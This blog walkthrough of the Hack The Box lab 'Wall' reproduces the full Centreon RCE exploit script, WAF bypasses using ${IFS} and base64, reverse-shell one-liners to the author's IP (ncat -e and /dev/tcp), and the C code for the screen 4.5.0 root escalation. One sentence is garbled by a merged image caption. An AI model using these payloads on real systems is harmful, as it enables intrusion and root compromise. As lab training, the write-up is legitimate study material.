IT Security
Security, challenges and boxes


Banner

HTB: Wall

Rubytox, 27th November 2019

Hello everyone!

So about a week and a half ago, I decided that I would try to own my first box on Hackthebox. I wanted to start with an easy one, so I chose Wall because a lot of people were saying this box was rather easy to own. It was a really interesting first experience as I learned a lot of things, even if I had to look for a lot of clues and hints because there are a lot of concepts I couldn’t think of by myself.

Before we start, I just want to say that this walkthrough might not be as a usual one: I will talk about what I tried, even if it didn’t work, and I try to explain why what I did didn’t work, so it might be long and become kind of uninteresting at some point. However, I think it is really instructive about what mistakes you maybe didn’t but might do at some point.

So, let’s get started! First, to make things easier I updated /etc/hosts in order to associate the IP address 10.10.10.157 with the name wall.ctf. Then, I used nmap to get the machine open ports, which gave me the following result:

$ nmap -sV -sT -sC wall.ctf
Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-15 15:35 CET
Nmap scan report for wall.ctf (10.10.10.157)
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
|_  256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 (Ubuntu)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.21 seconds

Here is a nice snippet, look at it!

So we found that the port 80 is open and that Apache is listening on it. We learn as well that the page displayed by Apache is the default page, which we can confirm by accessing wall.ctf in a web browser. As this was my very first machine, I didn’t really know what to do: I could only see a web page with nothing more behind it.

However, after some time I came across an idea I should have thought about very quickly: there can be other files and directories around the Apache default page. I learned about dirb, a tool that uses a wordlist to enumerate all the possible pages that could exist on the server. I first tried to list all PHP files at the root of the server using the following command:

$ dirb http://wall.ctf -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb.out
START_TIME: Fri Nov 15 15:55:59 2019
URL_BASE: http://wall.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://wall.ctf/ ----
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb.out
START_TIME: Fri Nov 15 15:57:45 2019
URL_BASE: http://wall.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://wall.ctf/ ----
+ http://wall.ctf/aa.php (CODE:200|SIZE:1)
+ http://wall.ctf/panel.php (CODE:200|SIZE:26)
-----------------
END_TIME: Fri Nov 15 16:06:58 2019
DOWNLOADED: 4612 - FOUND: 2

We found two PHP pages, which aren’t really interesting: aa.php only displays the number 1, and panel.php displays “Just a test for php file !”. So I thought it might be useful later and decided to move on another enumeration :

$ dirb http://wall.ctf
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb.out2
START_TIME: Fri Nov 15 16:09:15 2019
URL_BASE: http://wall.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://wall.ctf/ ----
+ http://wall.ctf/index.html (CODE:200|SIZE:10918)
+ http://wall.ctf/monitoring (CODE:401|SIZE:455)
+ http://wall.ctf/server-status (CODE:403|SIZE:296)
-----------------
END_TIME: Fri Nov 15 16:18:52 2019
DOWNLOADED: 4612 - FOUND: 3

This time, dirb obviously found index.html and server-status, but also a pretty interesting page called monitoring. When we try to access the page, it asks for a username and a password.

At first, I wanted to try to find a way to bruteforce it, but reading some posts of the Hackthebox forum I saw a lot of people saying bruteforce wasn’t the intended way to own the box. I took some time to think about this page, and I didn’t find anything relevant. However, one of the hint was particularly useful: it was said to focus about verbs in the English language. After a while, I finally tried to request the monitoring page using another method, POST for instance, which gave the following result:

$ curl -XPOST http://wall.ctf/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />

Little warning in this step: at first, I omitted the “/” at the end of the request so I got a 301 response, which however led me to add the “/”.

So we learn here that we would like to be redirected to a page called centreon, at the root of the server. Let’s get there in our browser! We then get the following login form:

Centreon login page

So I guess we should learn a bit more about what is Centreon: Wikipedia tells us Centreon is a supervising software. It allows to monitor applications, systems and networks.1 It is based on Nagios, which is a monitoring software as well.

The interesting part is that this version of Centreon allows to perform a RCE, which was exposed by Askar (box maker) in the CVE-2019-13024.2 This post actually gives us a RCE exploit script, however we need to be logged in the Centreon administration panel to use it. So first, we need to find the right credentials.

Basic tests already show us interesting behaviour: some characters aren’t allowed in the form, such as a space, a #, or the string “passwd”. This could mean there is a WAF (Web Application Firewall) installed on the server. For now, it isn’t really troublesome, it actually helps knowing which characters we can’t use.

At first I tried to bruteforce the login form, which led to nothing at all, apart from teaching myself how to use hydra. However, after having read some advices on Hackthebox forum, I just tried some random login/password pairs, and it finally worked with admin and password1. We got the centreon panel!

So now comes the fun part. As we discovered it earlier, there exists a CVE which should spawn a reverse shell. However, starting ncat and executing the script isn’t enough, because when we do so we get no incoming connection. Let’s take a look at the script, find on Askar’s post:3

#!/usr/bin/python

'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")

login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,


    }

    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)

else:
    print("[-] Wrong credentials")
    exit()

Basically, this script signs in the Centreon panel using the provided credentials; then it modifies the configuration of a poller called Central, and while doing so it places the command ncat -e /bin/bash ip port in the field nagios_bin: this is the vulnerable field as explained in the post. Then it calls the generateFiles.php page which launches the command in nagios_bin. If this script worked, we would just run nc -vlp port and launch the script. We’re going now to figure out what happens.

A way to do so is to understand what the exploit does and to try to do it by hand. Firstly, the exploit might fail because of hard-coded values: when it gets the poller token, it tries to get the value of input field 24, which doesn’t necessarily exist: we change that by the following line:

poller_token = poller_soup.find('input', {'name' : 'centreon_token'}).get("value")

Then, we are going to try to create a poller by hand, and to set the nagios_bin field ourselves. First, we’re going to duplicate the Central poller in order to run our tests without being bothered by someone else. As the script says, we need to make this poller central, so we check “Yes” to the “Localhost ?” field. Then we write our command, and see what happens when we save the poller configuration:

Setting <code>nagios_bin</code> field
We set the nagios_bin field
The server shows a 403 status code
The server doesn't seem to like it

So now we remember something that we already learned earlier: the server responds Forbidden when we use the space character in a form field. So we now know that we have to find a way to write a command without using any spaces.

We can find a lot of ways to achieve that. For instance, if we want to run the command echo hello world, we can use:

$ {echo,hello,world}
$ CMD=$'echo\x20hello\x20world'&&$CMD
$ echo${IFS}hello${IFS}world

The third one is my favourite, as it uses efficiently the Internal Field Separators: the $IFS variable contains several white-space characters which act as separators in a command line.

So now we can try using this trick and writing in the nagios_bin field the command:

ncat${IFS}-e${IFS}/bin/bash${IFS}10.10.16.30${IFS}1337

However, it doesn’t work: we still get a 403 status code. At first I got stuck at this point, because I didn’t see any other solution. However, I tried to do some other tests with the login form of the centreon panel, and I found out that it was actually the word ncat that was triggering the WAF. This was kind of obvious: as the exploit was already known, it wouldn’t be fun if you only had to execute the code to use it. Moreover, the person who found the exploit is the maker of the box, so he wouldn’t want us to use the same exact exploit to own the box.

So we can’t use the word ncat directly, so I decided that it could be better if I encoded this word. I came up with the following line, which didn’t work:

CMD=$'\x6e\x63\x61\x74\x20-e\x20/bin/bash\x2010.10.16.30\x201337\x23'&&$CMD

So here the word ncat was written with hexadecimal characters 6E 63 61 74: however this solution didn’t work for a reason I didn’t really get at this time.

I decided that it was time to test for other commands that could do the same job as ncat, and I found an interesting one:

$ exec sh -i >& /dev/tcp/10.10.16.30/1337 0>&1

This command starts a shell in interactive mode and redirects stdout and stderr to a TCP connection. Then stdin is redirected to this connection as well. So bascially this commands does exactly what we want to do.

To avoid having too difficult-to-read commands, I decided to encode this command with base64 and just decode it once it is in the nagios_bin field. So basically, we want to make the sThe server doesn’t seem to like iterver execute the following command:

echo${IFS}ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMC8xMzM3IDA+JjEK|base64${IFS}-d|bash;

Note: we must finish with a ; because the server executes the content of nagios_bin but adds a few parameters at the end. This way, we execute our command regardless of what follows it. I wanted first to end my command with #, but I remembered this character was banned by the WAF.

So, we open a netcat listener with nc -vlp 1337, then we update the Central poller with our command, and we execute the CVE script. In fact, we only have to execute the part where the script sends a post request to generateFiles.php, because it’s this file which executes the content of nagios_bin. And, it works!

We got a shell!

So now, we can look around and try to find a way to own user and root. We learn with whoami that we are currently the user www-data. This is a user who has access to the web server, and that’s basically all. We can find all users the following way:

$ cat /etc/passwd | cut -d: -f 1
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-network
systemd-resolve
syslog
messagebus
_apt
uuidd
sysmonitor
sshd
mysql
postfix
centreon
Debian-snmp
shelby

In this list, the only user besides root who isn’t a user required by a program would be shelby. We can also see in the /home directory that shelby has a home directory, so maybe it would be the user to own.

As it was my first time with privilege escalation, I had to browse a lot of documentation and to gather a lot of hints from forums to know where I should head.

A very interesting concept I could learn about was the SUID permission: a file with SUID permission allows the user to execute it with the privileges of another user. For instance, if a file owned by root has the SUID flag, then any user can execute it as root. The following command lists all the files that have this SUID permissions:

$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/screen-4.5.0
/bin/fusermount
/bin/su
/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/eject/dmcrypt-get-device

Exploring this list of files shows us something a bit strange: the program screen has SUID permissions, which can be useful in several ways, but can be exploited as well.

In fact, there is an exploit in version 4.05 which allows privilege escalation.4 With this version, the following command:

$ screen -D -m -L bla.bla echo "hello world"

will create the file bla.bla if it doesn’t exist and put echo "hello world" in it; plus bla.bla will be owned by root. So this allows us to create root-owned files in a directory in which we don’t have write permission, for instance. This will actually be useful soon.

As we saw earlier, there is a script which exploits this vulnerability in order to spawn a shell with root privileges.5 As I didn’t succeed in just executing the script, I decided to break it down in small parts to understand better how it was working.

First, we’re going to work in the /tmp directory. The script begins by creating a C shared library with the following code, in file libhax.c:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
}

So this file defines a function that will be executed before the function main thanks to the constructor attribute. This function makes the file /tmp/rootshell owned by root and gives it the SUID permission. Then, it deletes the file /etc/ld.so.preload which we will see just after.

We compile this with:

$ gcc -fPIC -shared -ldl -o libhax.so libhax.c

Then, we’re going to create the source code for our root-privileged shell, in file rootshell.c:

#include <stdio.h>

int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

This file tries to set its own UID, GID, EUID and EGID to 0, which is the id of root. Then it executes the command /bin/sh to spawn a shell. We compile it with:

$ gcc -o rootshell rootshell.c

So now, how are we able to get root privilege with that? This is the trick: we are going to the directory /etc. This directory can contain a file named ld.so.preload: this file is actually a list of shared libraries which we want to load before running almost any binary. This means that if I put in this file /tmp/libhax.so, then the content of libhax.so will be loaded before every binary I use, such as /bin/ls for instance.

As we saw before, we can use the screen trick to create this file in /etc where we don’t have write permission:

$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

So now we have a file ld.so.preload which contains what we want, in a directory where we couldn’t write. So now, we just need to execute a random binary. However, it can’t be just random, because if we want it to work, we need to launch a binary which has root privileges: why not screen?

The option -ls uses the screen program without really launching it, so we can use it just by typing screen -ls. Here it is, our library is loaded. As our library defined a constructor function, this function was executed before screen was, and as it was executed with root privileges, it could successfully perform the chown and chmod on rootshell:

Binary rootshell is owned by root and has SUID

Now, we just have to run ./rootshell, and we got a root-privileged shell!

We are root

So now, we just have to go to /root to read root.txt to own root; then we go to /home/shelby and read user.txt to own user.

A lot of users on Hackthebox's forum mentioned that it maybe wasn’t the intended way to own user because it was too easy once you got root; there might be another way that I didn’t find to own user.

So I had a lot of fun trying to own this machine, and I’m really happy I got so far in not such a long time, as it is my very first box. I learned a lot of things, and I hope that for the next one I will need less hints.

Note: Now I understood why one of my first command didn’t work; I was trying to use ncat, which wasn’t installed on the machine…

So this is over for this box! If you have any comments or suggestions, feel free to open an issue on this website's GitHub page.


1. https://fr.wikipedia.org/wiki/Centreon (in french)
2, 3. https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/
4. https://www.exploit-db.com/exploits/41152
5. https://www.exploit-db.com/exploits/41154

Copyright © 2020-2021 Rubytox